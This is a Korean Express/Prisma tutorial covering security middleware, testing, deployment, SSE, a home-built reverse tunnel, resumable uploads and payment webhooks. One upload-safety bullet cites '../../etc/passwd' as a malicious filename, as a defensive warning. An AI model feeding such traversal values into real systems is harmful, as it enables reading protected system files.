model User {
  id        Int      @id @default(autoincrement())
  email     String   @unique
  name      String
  orders    Order[]
  createdAt DateTime @default(now())

  @@index([createdAt])
}

model Order {
  id       Int    @id @default(autoincrement())
  userId   Int
  user     User   @relation(fields: [userId], references: [id])
  amount   Int
  status   OrderStatus @default(PENDING)
}

enum OrderStatus { PENDING PAID CANCELLED }
npx prisma migrate dev --name init     # 개발 — 마이그레이션 생성·적용
npx prisma migrate deploy              # ★ 운영 — 적용만
npx prisma generate                    # 타입 재생성
npx prisma studio                      # GUI 로 데이터 보기

쿼리

// 조회 — 필요한 필드만 (★ select 를 쓰는 습관)
const users = await prisma.user.findMany({
  where: { name: { contains: keyword }, createdAt: { gte: from } },
  select: { id: true, name: true, _count: { select: { orders: true } } },
  orderBy: { createdAt: "desc" },
  skip: (page - 1) * size,
  take: size,
});

// 관계 포함 — N+1 을 자동으로 막아 줍니다
const withOrders = await prisma.user.findMany({
  include: { orders: { where: { status: "PAID" }, take: 5 } },
});

// 트랜잭션
await prisma.$transaction(async (tx) => {
  const order = await tx.order.create({ data: dto });
  await tx.stock.update({
    where: { productId: dto.productId },
    data: { quantity: { decrement: dto.qty } },
  });
  return order;
});

// 원자적 차감 — 동시성 문제 방지 (🚀 대규모 k05)
const r = await prisma.stock.updateMany({
  where: { productId, quantity: { gte: qty } },     // ★ 조건을 쿼리 안에
  data: { quantity: { decrement: qty } },
});
if (r.count === 0) throw new ConflictError("재고가 부족합니다");
운영에서 주의할 점
· migrate dev 를 운영에서 쓰면 데이터가 날아갈 수 있습니다. 운영은 migrate deploy
· 커넥션 풀 크기는 ?connection_limit=10 로 URL 에 지정 — 서버 대수 × 풀 크기가 DB 한도를 넘지 않게(🚀 k10)
· 서버리스 환경에서는 Prisma Accelerate 나 PgBouncer 가 필요합니다
EXPRESS 10

보안 필수 설정

이 절의 내용은 운영 서버라면 예외 없이 적용해야 합니다.

기본 방어 3종

npm i helmet cors express-rate-limit
import helmet from "helmet";
import cors from "cors";
import rateLimit from "express-rate-limit";

// ① 보안 헤더
app.use(helmet());                    // CSP·X-Frame-Options 등 15종

// ② CORS — ★ origin: true 나 "*" 는 위험합니다
app.use(cors({
  origin: env.ALLOWED_ORIGINS.split(","),   // 화이트리스트
  credentials: true,                         // 쿠키를 주고받을 때
  maxAge: 86400,
}));

// ③ Rate Limit
app.use("/api", rateLimit({
  windowMs: 60_000, limit: 100,
  standardHeaders: "draft-8",   // express-rate-limit v8 기준 (구형 클라이언트는 "draft-6")
  message: { code: "TOO_MANY_REQUESTS" },
}));

// 로그인은 훨씬 빡빡하게 (무차별 대입 방지)
app.use("/auth/login", rateLimit({ windowMs: 15 * 60_000, limit: 5 }));
서버가 여러 대라면 메모리 기반 Rate Limit 은 의미가 없습니다. 10대면 실제 한도가 10배가 됩니다. rate-limit-redis 스토어를 붙이세요(🚀 대규모 k09).

체크리스트

  • ☐ SQL 인젝션 — ORM 이나 파라미터 바인딩 사용. 문자열로 쿼리를 만들지 마세요
  • ☐ XSS — 사용자 입력을 HTML 로 렌더링할 때 이스케이프. React 는 기본으로 해 주지만 dangerouslySetInnerHTML 은 예외
  • ☐ Mass Assignment — req.body 를 그대로 DB 에 넘기지 마세요(x05)
  • ☐ 경로 순회 — 파일 경로에 사용자 입력이 들어가면 검증(x08)
  • ☐ 비밀번호 — bcrypt·argon2 로 해시. MD5·SHA 단독 금지
  • ☐ 비밀 값 — 코드·이미지·로그에 남기지 않기
  • ☐ 의존성 — npm audit 를 CI 에 포함
  • ☐ 에러 응답 — 스택·내부 경로 노출 금지(x06)
  • ☐ HTTPS — 운영은 예외 없이. 쿠키에 secure
// 응답 헤더에서 서버 정보 지우기
app.disable("x-powered-by");

// 요청 크기 제한 (메모리 고갈 공격 방지)
app.use(express.json({ limit: "1mb" }));

// 오래 걸리는 요청 끊기 — 서버 타임아웃으로
// (connect-timeout 패키지는 응답 후에도 핸들러가 계속 도는 문제로 비권장)
const server = app.listen(3000);
server.requestTimeout = 30_000;
server.headersTimeout = 35_000;

// NoSQL 인젝션 (MongoDB 를 쓴다면) — Zod 로 값의 타입을 강제하세요
// ($gt 같은 객체가 문자열 자리에 못 들어오게. x05 참고)
// ★ express-mongo-sanitize 는 Express 5 와 호환되지 않습니다
OWASP Top 10 을 한 번은 읽어 보세요. 여기 적힌 대부분이 그 목록에서 나온 것입니다. 보안은 기능 추가 후에 붙이는 것이 아니라 처음부터 기본값으로 들어 있어야 합니다.
한 줄씩 붙이는 것들 — 각각 막는 것이 다릅니다 helmet() — 보안 헤더 한 묶음 XSS·클릭재킹·MIME 스니핑 완화 cors({ origin: 정해진 목록 }) origin: true 로 열어 두지 마세요 — 아무 사이트나 호출 rateLimit — IP·계정 단위 횟수 제한 무차별 로그인·크롤링·비용 폭탄 방지 express.json({ limit: '1mb' }) 거대한 바디로 메모리를 채우는 요청 차단 비밀은 환경 변수 · 시크릿 매니저 저장소에 한 번 올라간 키는 유출된 것으로 취급 그리고 가장 중요한 것 — 권한 확인은 요청마다. "로그인했는가"와 "이 데이터의 주인인가"는 다른 질문입니다
위 다섯 줄은 10분이면 붙습니다 — 사고의 대부분은 이것들이 없어서 납니다.
EXPRESS 11

테스트

서버를 띄우지 않고도 요청·응답을 검증할 수 있습니다.

supertest

npm i -D vitest supertest @types/supertest
// app.ts 에서 app 만 export 하고, listen 은 server.ts 에서 하세요 ★
// 그래야 테스트에서 포트 없이 app 을 그대로 쓸 수 있습니다

import request from "supertest";
import { describe, it, expect, beforeEach } from "vitest";
import { app } from "../src/app.js";

describe("POST /api/users", () => {
  beforeEach(async () => { await resetDb(); });

  it("정상 생성되면 201 을 반환한다", async () => {
    const res = await request(app)
      .post("/api/users")
      .send({ email: "a@b.c", password: "12345678", name: "김" })
      .expect(201);

    expect(res.body).toMatchObject({ email: "a@b.c" });
    expect(res.body).not.toHaveProperty("password");    // ★ 노출 확인
  });

  it("이메일 형식이 틀리면 400", async () => {
    const res = await request(app)
      .post("/api/users")
      .send({ email: "not-an-email", password: "12345678" })
      .expect(400);
    expect(res.body.errors[0].field).toBe("email");
  });

  it("인증 없이 접근하면 401", () =>
    request(app).delete("/api/users/1").expect(401));
});

무엇을 테스트할까

층대상
단위서비스 함수의 비즈니스 규칙. 가장 많이 만드세요
통합라우트 + 검증 + DB. 핵심 흐름만
E2E실제 브라우저 (🧰 도구 o06)
// DB 는 진짜를 쓰는 편이 낫습니다 (Testcontainers)
import { PostgreSqlContainer } from "@testcontainers/postgresql";

let container;
beforeAll(async () => {
  container = await new PostgreSqlContainer("postgres:18").start();
  process.env.DATABASE_URL = container.getConnectionUri();
  await runMigrations();
}, 60_000);

afterAll(() => container.stop());
// 외부 API 는 모킹 (msw 가 실무 표준)
import { setupServer } from "msw/node";
import { http, HttpResponse } from "msw";

const server = setupServer(
  http.get("https://api.pay.com/verify", () =>
    HttpResponse.json({ status: "APPROVED" })),
);
beforeAll(() => server.listen());
afterAll(() => server.close());
“무엇을 테스트할지” 기준 — ① 돈·권한과 관련된 로직은 반드시, ② 버그가 났던 곳은 재발 방지 테스트를 먼저, ③ 단순 CRUD 는 통합 테스트 하나로 충분합니다. 커버리지 숫자를 목표로 삼으면 의미 없는 테스트만 늘어납니다.
EXPRESS 12

구조 설계 · 배포

Express 는 구조를 정해 주지 않습니다. 그래서 직접 정해야 합니다.

실무에서 쓰는 구조

src/
  app.ts                 미들웨어 등록 · 라우터 연결 (listen 은 여기 X)
  server.ts              listen · 우아한 종료
  config/
    env.ts               ★ Zod 로 환경 변수 검증 (n08)
  modules/
    user/
      user.routes.ts     URL 매칭
      user.service.ts    비즈니스 규칙 (req/res 를 모름)
      user.repository.ts DB 접근
      user.schema.ts     Zod 스키마 + 타입
      user.test.ts
  shared/
    middleware/          auth · validate · error
    errors.ts            AppError 계열
    db.ts  redis.ts  logger.ts
  types/
    express.d.ts         ★ Request 확장 (🔷 TS t13)
규칙 하나만 지키세요 — service 는 req·res 를 몰라야 합니다. 이 한 줄이 테스트 가능성·재사용성·나중에 Nest 로 옮길 여지를 전부 만듭니다. (배치·큐 워커에서 같은 서비스를 그대로 부를 수 있게 됩니다)

배포 전 체크리스트

  • ☐ NODE_ENV=production (Express 가 뷰 캐시 등을 켭니다)
  • ☐ 환경 변수 검증이 부팅 시 동작하는가
  • ☐ /health 엔드포인트 — DB 연결까지 확인
  • ☐ 우아한 종료 — SIGTERM 처리(🟩 Node n08)
  • ☐ keepAliveTimeout > 로드밸런서 타임아웃
  • ☐ 구조화 로그 + 요청 ID
  • ☐ helmet · cors · rate limit
  • ☐ 비밀 값이 이미지에 없는지
# 멀티 스테이지 — 이미지 크기를 크게 줄입니다
FROM node:24-alpine AS build
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

FROM node:24-alpine
WORKDIR /app
ENV NODE_ENV=production
COPY package*.json ./
RUN npm ci --omit=dev && npm cache clean --force
COPY --from=build /app/dist ./dist
# ★ root 로 실행하지 마세요
USER node
EXPOSE 3000
# ★ npm start 로 하면 SIGTERM 이 안 옵니다
#   (Dockerfile 은 줄 끝 # 주석을 지원하지 않습니다 — 주석은 항상 따로 한 줄로)
CMD ["node", "dist/server.js"]
// /health — 진짜 상태를 확인해야 의미가 있습니다
app.get("/health", async (req, res) => {
  try {
    await prisma.$queryRaw`SELECT 1`;
    await redis.ping();
    res.json({ status: "ok", uptime: process.uptime() });
  } catch (e) {
    res.status(503).json({ status: "degraded" });
  }
});
// ★ 단, liveness 프로브에는 DB 검사를 넣지 마세요 —
//   DB 가 잠깐 흔들릴 때 모든 서버가 재시작됩니다 (🚀 대규모 k14)
언제 NestJS 로 옮길까 — ① 팀이 3명을 넘고 구조가 제각각이 되기 시작할 때, ② DI·트랜잭션·모듈 경계가 필요해질 때, ③ 마이크로서비스·GraphQL·WebSocket 을 같이 다뤄야 할 때. service 계층을 잘 분리해 뒀다면 이전 비용이 크지 않습니다(🐈 NestJS 탭).
EXPRESS 13

실시간 — SSE · WebSocket

진행률 표시줄, 알림 뱃지, “누군가 입력 중…”. 대부분은 WebSocket 이 아니라 SSE 로 충분하고, 훨씬 쉽습니다.

무엇을 고를 것인가

SSEWebSocket
방향서버 → 브라우저양방향
프로토콜그냥 HTTP업그레이드 필요
재연결브라우저가 자동직접 구현
프록시대체로 무사통과설정 필요
쓸 곳알림 · 진행률 · 대시보드채팅 · 협업 편집 · 게임
“채팅을 만들 건데요” 에도 SSE 로 시작할 수 있습니다. 보내는 쪽은 평범한 POST, 받는 쪽만 SSE 면 됩니다. WebSocket 은 지연이 정말 중요할 때(협업 커서·게임) 꺼내세요.

SSE — 30줄이면 끝난다

const clients = new Map<string, Response>();

app.get('/events', requireAuth, (req, res) => {
  res.set({
    'Content-Type':  'text/event-stream',
    'Cache-Control': 'no-cache, no-transform',   // no-transform 중요
    'Connection':    'keep-alive',
    'X-Accel-Buffering': 'no',                   // Nginx 버퍼링 끄기
  });
  res.flushHeaders();

  // ★ push() 가 사용자 ID 로 찾으므로 키도 사용자 ID 로
  //   (한 사람이 탭을 여러 개 연다면 Map<string, Set<Response>> 로)
  const id = String(req.user!.id);
  clients.set(id, res);

  // 15초마다 주석 한 줄 — 프록시가 유휴 연결을 끊는 것을 막는다
  const ping = setInterval(() => res.write(': ping\n\n'), 15_000);

  req.on('close', () => { clearInterval(ping); clients.delete(id); });
});

export function push(userId: string, event: string, data: unknown) {
  const res = clients.get(userId);
  if (!res) return;
  res.write(`event: ${event}\n`);
  res.write(`id: ${Date.now()}\n`);              // 재연결 시 이어받기용
  res.write(`data: ${JSON.stringify(data)}\n\n`); // 빈 줄 두 개가 끝 표시
}
Nginx 뒤에 두면 “아무것도 안 오는” 증상이 납니다. 기본 설정이 응답을 버퍼링하기 때문입니다. 위 X-Accel-Buffering: no 헤더나 서버 쪽 proxy_buffering off; 중 하나는 반드시 필요합니다 (🌐 서버기술 가이드 · Nginx 탭).

브라우저 쪽 — 끊김을 전제로

const es = new EventSource('/events', { withCredentials: true });

es.addEventListener('job.progress', (e) => {
  const { jobId, percent } = JSON.parse(e.data);
  setProgress(jobId, percent);
});

// 브라우저가 자동 재연결한다. 다만 '끊긴 동안'은 스스로 메워야 한다
es.onopen  = () => syncMissed();      // 놓친 것 한 번 당겨오기
es.onerror = () => setStatus('연결 끊김 — 자동 재시도 중');

// 서버가 Last-Event-ID 를 받아 이어 보낼 수도 있다
// (req.headers['last-event-id'])
실시간의 90%는 “놓친 것 메우기”입니다. 연결이 살아 있을 때만 정확한 화면은 지하철에 들어가면 무너집니다. 재연결 직후 한 번 당겨오는 코드를 항상 함께 만드세요.

여러 대로 늘리면 생기는 문제

서버가 2대가 되는 순간 알림이 절반만 갑니다. 사용자는 A 서버에 붙어 있는데 이벤트는 B 서버에서 발생하기 때문입니다. 메모리 Map 은 한 프로세스 안에서만 유효합니다.
// Redis Pub/Sub 으로 서버 간에 이벤트를 흘려 준다
import { createClient } from 'redis';

const sub = createClient({ url: process.env.REDIS_URL });
const pub = sub.duplicate();
await Promise.all([sub.connect(), pub.connect()]);

// 어느 서버에서 발생하든 전체에 뿌린다
export const emit = (userId: string, event: string, data: unknown) =>
  pub.publish('events', JSON.stringify({ userId, event, data }));

// 내 프로세스에 그 사용자가 붙어 있으면 내려보낸다
await sub.subscribe('events', (raw) => {
  const { userId, event, data } = JSON.parse(raw);
  push(userId, event, data);
});
  • 연결 수 제한 — 한 사용자가 탭 20개를 열 수 있습니다. 사용자당 상한을 두세요
  • 느린 클라이언트 — res.write() 가 false 를 반환하면 버퍼가 찬 것입니다. 계속 밀어 넣으면 서버 메모리가 터집니다
  • 그레이스풀 셧다운 때 연결을 먼저 닫아 클라이언트가 다른 서버로 붙게 하세요
규모가 더 커지면 전용 게이트웨이(Centrifugo·Soketi)로 분리하는 것이 답입니다 — ⚡ 대규모 트래픽 탭에서 이어집니다.
EXPRESS 14

리버스 터널 직접 만들기

ngrok·Cloudflare Tunnel 이 하는 일을 200줄로 만들어 봅니다. 사내 장비 수백 대를 포트 하나 열지 않고 관리하는 에이전트 구조가 이것입니다.

외부 요청 GET /report 중계 서버 Express + WS 방화벽 사내 에이전트 WS 클라이언트 로컬 :3000 ↑ 요청은 열려 있는 소켓을 타고 ↓ 응답은 같은 길로
에이전트가 먼저 붙어 대기합니다. 중계 서버는 요청이 오면 그 소켓에 실어 보내고 답을 기다립니다.

중계 서버 — 요청을 소켓에 실어 보낸다

import express from 'express';
import { WebSocketServer } from 'ws';
import { randomUUID } from 'node:crypto';

const app = express();
const agents  = new Map<string, WebSocket>();          // tenant → 소켓
const waiting = new Map<string, (r: TunnelRes) => void>(); // reqId → 응답 대기

const wss = new WebSocketServer({ noServer: true });

wss.on('connection', (ws, req, tenant: string) => {
  agents.set(tenant, ws);

  ws.on('message', (buf) => {
    const msg = JSON.parse(buf.toString());
    waiting.get(msg.id)?.(msg);                        // 기다리던 요청에 응답 전달
    waiting.delete(msg.id);
  });

  // 죽은 연결 청소 — TCP 는 끊겨도 한동안 살아 있는 척한다
  let alive = true;
  ws.on('pong', () => { alive = true; });
  const iv = setInterval(() => {
    if (!alive) return ws.terminate();
    alive = false; ws.ping();
  }, 30_000);

  ws.on('close', () => { clearInterval(iv); agents.delete(tenant); });
});

// 외부 요청 → 해당 테넌트의 에이전트로
// ★ Express 5 는 와일드카드에 이름이 필요합니다 (그냥 * 는 시작할 때 에러)
app.all('/t/:tenant/*rest', async (req, res) => {
  const ws = agents.get(req.params.tenant);
  if (!ws || ws.readyState !== ws.OPEN)
    return res.status(503).json({ error: 'agent offline' });

  const id = randomUUID();
  const body = await readBody(req);                    // 상한을 두고 읽는다

  const answer = new Promise<TunnelRes>((ok, ng) => {
    waiting.set(id, ok);
    setTimeout(() => { waiting.delete(id); ng(new Error('timeout')); }, 30_000);
  });

  ws.send(JSON.stringify({
    id, method: req.method,
    path: '/' + req.params.rest.join('/'),            // *rest 는 경로 조각 배열
    headers: stripHopByHop(req.headers),
    body: body.toString('base64'),
  }));

  try {
    const r = await answer;
    res.status(r.status).set(r.headers).send(Buffer.from(r.body, 'base64'));
  } catch { res.status(504).json({ error: 'agent timeout' }); }
});
구조는 “요청 ID 로 짝 맞추기”가 전부입니다. 소켓 하나에 여러 요청이 뒤섞여 흐르므로, id 를 붙여 보내고 id 로 받는 것만 지키면 됩니다 — 이것을 멀티플렉싱이라고 부릅니다.

사내 에이전트 — 받아서 로컬로 넘긴다

import WebSocket from 'ws';

const LOCAL = 'http://127.0.0.1:3000';
let backoff = 1_000;

function connect() {
  const ws = new WebSocket(`wss://relay.example.com/agent`, {
    headers: { authorization: `Bearer ${process.env.AGENT_TOKEN}` },
  });

  ws.on('open', () => { backoff = 1_000; log.info('tunnel up'); });

  ws.on('message', async (buf) => {
    const m = JSON.parse(buf.toString());
    try {
      // 로컬 서비스로 그대로 전달 (허용 경로만!)
      const r = await fetch(LOCAL + m.path, {
        method: m.method,
        headers: m.headers,
        body: ['GET', 'HEAD'].includes(m.method)
          ? undefined : Buffer.from(m.body, 'base64'),
        signal: AbortSignal.timeout(25_000),
      });
      const body = Buffer.from(await r.arrayBuffer());
      ws.send(JSON.stringify({
        id: m.id, status: r.status,
        headers: Object.fromEntries(r.headers),
        body: body.toString('base64'),
      }));
    } catch (e) {
      ws.send(JSON.stringify({ id: m.id, status: 502, headers: {}, body: '' }));
    }
  });

  // 끊기면 지수 백오프로 재연결 — 중계 서버 재시작 때 몰리는 것을 막는다
  const retry = () => {
    const jitter = Math.random() * 1_000;
    setTimeout(connect, Math.min(backoff, 60_000) + jitter);
    backoff *= 2;
  };
  ws.on('close', retry);
  ws.on('error', () => ws.close());
}
connect();
지터(무작위 지연)를 빼면 안 됩니다. 장비 500대가 정확히 같은 초에 재접속하면 중계 서버가 다시 죽습니다 — 되살아날 때마다 죽는 재연결 폭풍입니다.

직접 만들 때 반드시 챙길 것

  • 인증은 연결 시점에 — 토큰 검증 후에만 agents 에 등록. 테넌트 id 를 클라이언트가 자기 입으로 말하게 두면 안 됩니다
  • 경로 화이트리스트 — 에이전트가 로컬의 아무 데나 요청을 전달하면 사내망 전체가 노출됩니다(SSRF)
  • 본문 크기 상한 — 메모리에 통째로 올리는 구조라 10MB 정도로 제한하고, 큰 파일은 별도 스트리밍 경로로
  • 동시 요청 상한 — 에이전트당 p-limit 으로 묶지 않으면 사내 서버가 먼저 쓰러집니다
  • hop-by-hop 헤더 제거 — connection·upgrade· transfer-encoding 을 그대로 넘기면 프록시가 오작동합니다
이 구조는 그 자체로 “원격 제어 채널”입니다. 토큰이 새면 사내망 침투 경로가 됩니다. 토큰은 장비별로 발급하고 회수(revoke) 목록을 서버가 확인하게 만드세요.

직접 만들 것인가, 가져다 쓸 것인가

직접 만들 만한 경우
  • 장비마다 다른 인증·권한이 필요하다
  • 외부 SaaS 로 트래픽이 나가면 안 되는 데이터
  • HTTP 만 통과시키면 되는 좁은 요구
  • 에이전트에 다른 일도 시킬 예정(수집·배포)
가져다 쓰는 게 나은 경우
  • TCP·UDP·SSH 까지 넘겨야 한다 → frp
  • HTTPS·WAF·SSO 가 필요 → Cloudflare Tunnel
  • 웹훅 테스트용 임시 → ngrok
  • 운영 인력이 없다 — 터널은 24시간 살아 있어야 합니다
완성품 운영은 🌐 서버기술 가이드의 보안 · 운영 탭 15 리버스 터널에서 다룹니다 — systemd 자동 복구, 키 제한, 헬스체크까지 그쪽이 실전에 가깝습니다. 여기서는 “어떻게 동작하는가”를 코드로 보는 것이 목적입니다.
EXPRESS 15

대용량 전송 — Range · 재개 업로드

동영상 탐색 바를 끌면 그 지점부터 재생되는 것, 2GB 업로드가 끊겼을 때 이어서 올라가는 것 — 둘 다 서버가 해 주는 일입니다.

Range 응답 — 동영상 스트리밍의 최소 조건

import { createReadStream } from 'node:fs';
import { stat } from 'node:fs/promises';           // ★ await 하려면 promises 쪽

app.get('/media/:id', async (req, res) => {
  const file = await resolveSafe(req.params.id);   // 경로 조작 방어
  const { size } = await stat(file);
  const range = req.headers.range;

  if (!range) {
    res.set({ 'Content-Length': size, 'Accept-Ranges': 'bytes',
              'Content-Type': 'video/mp4' });
    return createReadStream(file).pipe(res);
  }

  // "bytes=1048576-" 형태를 파싱한다
  const m = /^bytes=(\d*)-(\d*)$/.exec(range);
  if (!m) return res.status(416).set('Content-Range', `bytes */${size}`).end();

  // "bytes=-500" 은 "끝에서 500바이트" 라는 뜻입니다 (접미 범위)
  const start = m[1] ? Number(m[1]) : Math.max(0, size - Number(m[2]));
  const end   = m[1] && m[2] ? Math.min(Number(m[2]), size - 1) : size - 1;
  if (start >= size || start > end)
    return res.status(416).set('Content-Range', `bytes */${size}`).end();

  res.status(206).set({
    'Content-Range':  `bytes ${start}-${end}/${size}`,
    'Accept-Ranges':  'bytes',
    'Content-Length': end - start + 1,
    'Content-Type':   'video/mp4',
  });
  createReadStream(file, { start, end }).pipe(res);
});
206 과 Content-Range 가 없으면 브라우저는 탐색 바를 끌 수 없게 만듭니다(처음부터 다시 받습니다). “재생은 되는데 탐색이 안 돼요”의 원인은 거의 항상 이것입니다.

업로드 — 메모리에 올리지 않기

메모리로 받기
multer({ storage: memoryStorage() })
// 2GB 파일 3개 = 서버 사망
디스크·스토리지로 흘리기
import { pipeline } from 'node:stream/promises';
await pipeline(req, createWriteStream(tmp));
// 또는 S3 멀티파트로 바로 흘린다
// 재개 가능한 업로드 — 청크를 오프셋으로 받는다 (tus 프로토콜의 핵심)
app.patch('/upload/:id', async (req, res) => {
  const offset = Number(req.headers['upload-offset']);
  const meta   = await store.get(req.params.id);
  if (!meta) return res.sendStatus(404);

  // 클라이언트가 아는 위치와 서버가 아는 위치가 다르면 거부한다
  if (offset !== meta.received)
    return res.status(409).set('Upload-Offset', meta.received).end();

  const ws = createWriteStream(meta.path, { flags: 'a' });
  let written = 0;
  req.on('data', (c) => { written += c.length; });
  await pipeline(req, ws);

  meta.received += written;
  await store.set(req.params.id, meta);
  res.set('Upload-Offset', meta.received).sendStatus(204);
});
직접 만들기 전에 프로토콜을 보세요. 재개 업로드는 tus 라는 표준이 있고 클라이언트 라이브러리가 이미 있습니다. 파일이 큰데 네트워크가 불안한 환경(현장·모바일)이라면 직접 구현보다 tus 서버를 붙이는 쪽이 빠릅니다.

파일은 앱 서버를 거치지 않는 게 최선

// 프리사인 URL — 브라우저가 스토리지에 직접 올린다
app.post('/upload-url', requireAuth, async (req, res) => {
  const key = `u/${req.user.id}/${randomUUID()}`;
  const url = await getSignedUrl(s3, new PutObjectCommand({
    Bucket: BUCKET, Key: key,
    ContentType: req.body.type,
  }), { expiresIn: 300 });                 // 5분짜리 일회용 주소

  res.json({ url, key });
});

// 다운로드도 마찬가지 — 앱 서버는 '주소만' 발급한다
app.get('/files/:id/url', requireAuth, async (req, res) => {
  const f = await db.file.findUnique({ where: { id: req.params.id } });
  if (!f || f.ownerId !== req.user.id) return res.sendStatus(404);
  res.json({ url: await getSignedUrl(s3,
    new GetObjectCommand({ Bucket: BUCKET, Key: f.key }), { expiresIn: 60 }) });
});
  • 앱 서버의 대역폭·메모리를 쓰지 않습니다
  • Content-Type·크기 제한을 서명에 함께 걸 수 있습니다
  • 업로드 완료는 스토리지 이벤트나 클라이언트 콜백으로 확인

놓치기 쉬운 것

  • 백프레셔 — pipe/pipeline 을 쓰세요. res.write() 반환값을 무시하고 계속 쓰면 메모리가 붑니다
  • 중단 처리 — 사용자가 탭을 닫으면 req.on('aborted'). 임시 파일을 지워 주지 않으면 디스크가 찹니다
  • 업로드 파일명을 그대로 쓰지 마세요 — ../../etc/passwd, 확장자 위장, 유니코드 트릭이 들어옵니다. 서버가 만든 UUID를 키로 쓰고 원본 이름은 DB 에만 두세요
  • Nginx client_max_body_size 를 함께 올리지 않으면 앱까지 오지도 못하고 413 이 납니다
  • 이미지·영상은 비동기 후처리 큐로 — 요청 안에서 변환하면 타임아웃이 납니다
스트림 자체가 낯설다면 🟩 Node.js 탭 05 스트림 을 먼저 보세요 — 2GB CSV 를 메모리 100MB 로 처리하는 같은 원리입니다.
이어받기 — 파일 가운데부터 보내 달라고 부탁합니다 클라이언트 요청 Range: bytes=6000000- 206 Partial Content Content-Range: bytes 6000000-9999999/10000000 10MB 파일 — 6MB 까지 받다가 끊긴 상태 (막대는 실제 비율입니다) 이미 받은 6MB — 다시 안 받습니다 이번에 받을 4MB 0 2 4 6 8 10MB 업로드 재개는 방향만 반대입니다 클라가 "어디까지 받았나" 를 먼저 묻고 → 서버가 오프셋을 알려 주고 → 그 지점부터 이어 보냅니다 Accept-Ranges: bytes 를 안 보내면 브라우저는 이어받기를 시도조차 하지 않습니다
대용량 전송의 절반은 속도가 아니라 끊겼을 때 처음부터 다시 하지 않는 것입니다.
EXPRESS 16

결제·웹훅 — 돈이 걸린 API

결제 연동에서 사고가 나는 지점은 정해져 있습니다 — 중복 결제, 놓친 웹훅, 위조된 웹훅. 세 가지를 막는 패턴은 어느 결제사든 같습니다.

멱등성 — 같은 요청을 두 번 받아도 한 번만

// 클라이언트가 요청마다 키를 만들어 보낸다 (재시도 시 같은 키)
app.post('/orders', requireAuth, async (req, res) => {
  const key = req.get('Idempotency-Key');
  if (!key) return res.status(400).json({ error: 'Idempotency-Key 필요' });

  // 같은 키로 이미 처리했다면 그때 결과를 그대로 돌려준다
  const hit = await db.idempotency.findUnique({ where: { key } });
  // (status 0 = 아직 처리 중 — res.status(0) 은 RangeError 이므로 따로 답한다)
  if (hit?.status === 0) return res.status(409).json({ error: '처리 중입니다' });
  if (hit) return res.status(hit.status).json(hit.body);

  // 동시에 두 번 들어온 경우 — DB 유니크 제약이 한쪽을 막아 준다
  try {
    await db.idempotency.create({ data: { key, userId: req.user.id,
                                          status: 0, body: {} } });
  } catch { return res.status(409).json({ error: '처리 중입니다' }); }

  const order = await createOrder(req.user.id, req.body);
  await db.idempotency.update({
    where: { key }, data: { status: 201, body: order },
  });
  res.status(201).json(order);
});
“결제 버튼을 두 번 눌렀어요”는 프런트로 못 막습니다. 네트워크가 느릴 때 브라우저가 자동 재시도하기도 하고, 모바일에서는 앱이 요청을 다시 보냅니다. 서버에서 막는 것이 유일하게 확실한 방법입니다.

웹훅 수신 — 서명 검증이 먼저

// ★ 서명 검증에는 '가공되지 않은 원문'이 필요하다.
//   express.json() 이 먼저 파싱해 버리면 검증할 수 없다.
app.post('/webhooks/pay',
  express.raw({ type: 'application/json', limit: '1mb' }),
  async (req, res) => {
    const sig = req.get('x-signature') ?? '';
    const ts  = Number(req.get('x-timestamp') ?? 0);

    // 재전송 공격 방어 — 5분 넘은 것은 거부
    if (Math.abs(Date.now() / 1000 - ts) > 300) return res.sendStatus(400);

    const mine = crypto.createHmac('sha256', process.env.WEBHOOK_SECRET!)
                       .update(`${ts}.`).update(req.body).digest();
    const theirs = Buffer.from(sig, 'hex');

    // 길이가 다르면 timingSafeEqual 이 예외를 던진다
    if (mine.length !== theirs.length ||
        !crypto.timingSafeEqual(mine, theirs)) return res.sendStatus(401);

    const event = JSON.parse(req.body.toString());

    // 같은 이벤트가 여러 번 온다 — 결제사는 재시도를 보장한다
    const fresh = await db.webhookEvent.create({ data: { id: event.id } })
                          .catch(() => null);
    if (!fresh) return res.sendStatus(200);        // 이미 처리함

    // ★ 무거운 일은 큐에 넣고 즉시 200 — 늦게 답하면 결제사가 재시도한다
    await queue.add('pay.event', event);
    res.sendStatus(200);
  });
=== 로 서명을 비교하지 마세요. 문자열 비교는 다른 첫 글자에서 즉시 멈추므로 걸린 시간으로 정답을 한 글자씩 알아낼 수 있습니다(타이밍 공격). 반드시 crypto.timingSafeEqual 을 쓰세요.

웹훅을 못 받았을 때 — 폴링 보완

// 웹훅은 '반드시 온다'가 아니라 '보통 온다' 입니다.
// 서버 재배포 중이거나 장애가 나면 그대로 유실됩니다.
// 그래서 상용 서비스는 폴링을 하나 더 둡니다.

// 5분마다: 결제 요청은 있는데 아직 결론이 없는 건을 직접 조회
cron.schedule('*/5 * * * *', async () => {
  const stuck = await db.order.findMany({
    where: { status: 'PENDING', createdAt: { lt: minutesAgo(3) } },
    take: 100,
  });
  for (const o of stuck) {
    const r = await pg.getPayment(o.paymentKey);    // 결제사에 직접 물어본다
    if (r.status === 'DONE')     await markPaid(o.id, r);
    if (r.status === 'CANCELED') await markCanceled(o.id, r);
  }
});
“웹훅이 안 왔어요”는 결제 연동에서 가장 흔한 장애입니다. 원인은 대개 배포 중 다운타임·타임아웃·5xx 응답 입니다. 웹훅을 유일한 진실 통로로 삼지 말고 폴링을 항상 곁들이세요.

돈이 걸린 API 의 기본기

  • 금액을 클라이언트에서 받지 마세요. 상품 id 만 받고 금액은 서버가 계산합니다 — 가장 흔한 취약점입니다
  • 결제 승인과 주문 확정은 같은 트랜잭션에 — 중간에 죽으면 돈은 빠졌는데 주문이 없는 상태가 됩니다
  • 모든 상태 변화를 로그로 — 분쟁이 나면 로그가 증거입니다. 절대 지우거나 덮어쓰지 마세요(append-only)
  • 테스트 키와 운영 키를 코드로 분리 — 운영 DB 에 테스트 결제가 섞이면 정산이 안 맞습니다
  • 환불·부분취소까지 설계한 뒤 시작하세요. 나중에 붙이면 상태 머신을 다시 짜야 합니다
카드번호를 서버가 만지는 순간 PCI-DSS 범위에 들어갑니다. 결제사가 주는 결제창·SDK 를 써서 카드 정보가 내 서버를 거치지 않게 하세요 — 예외 없이.
큐·재시도·분산 락 같은 뒷단 설계는 ⚡ 대규모 트래픽 탭에서 이어집니다.
NESTJS 10/11 · 구조를 강제하는 프레임워크

스프링을
알면
이미 반은 안다

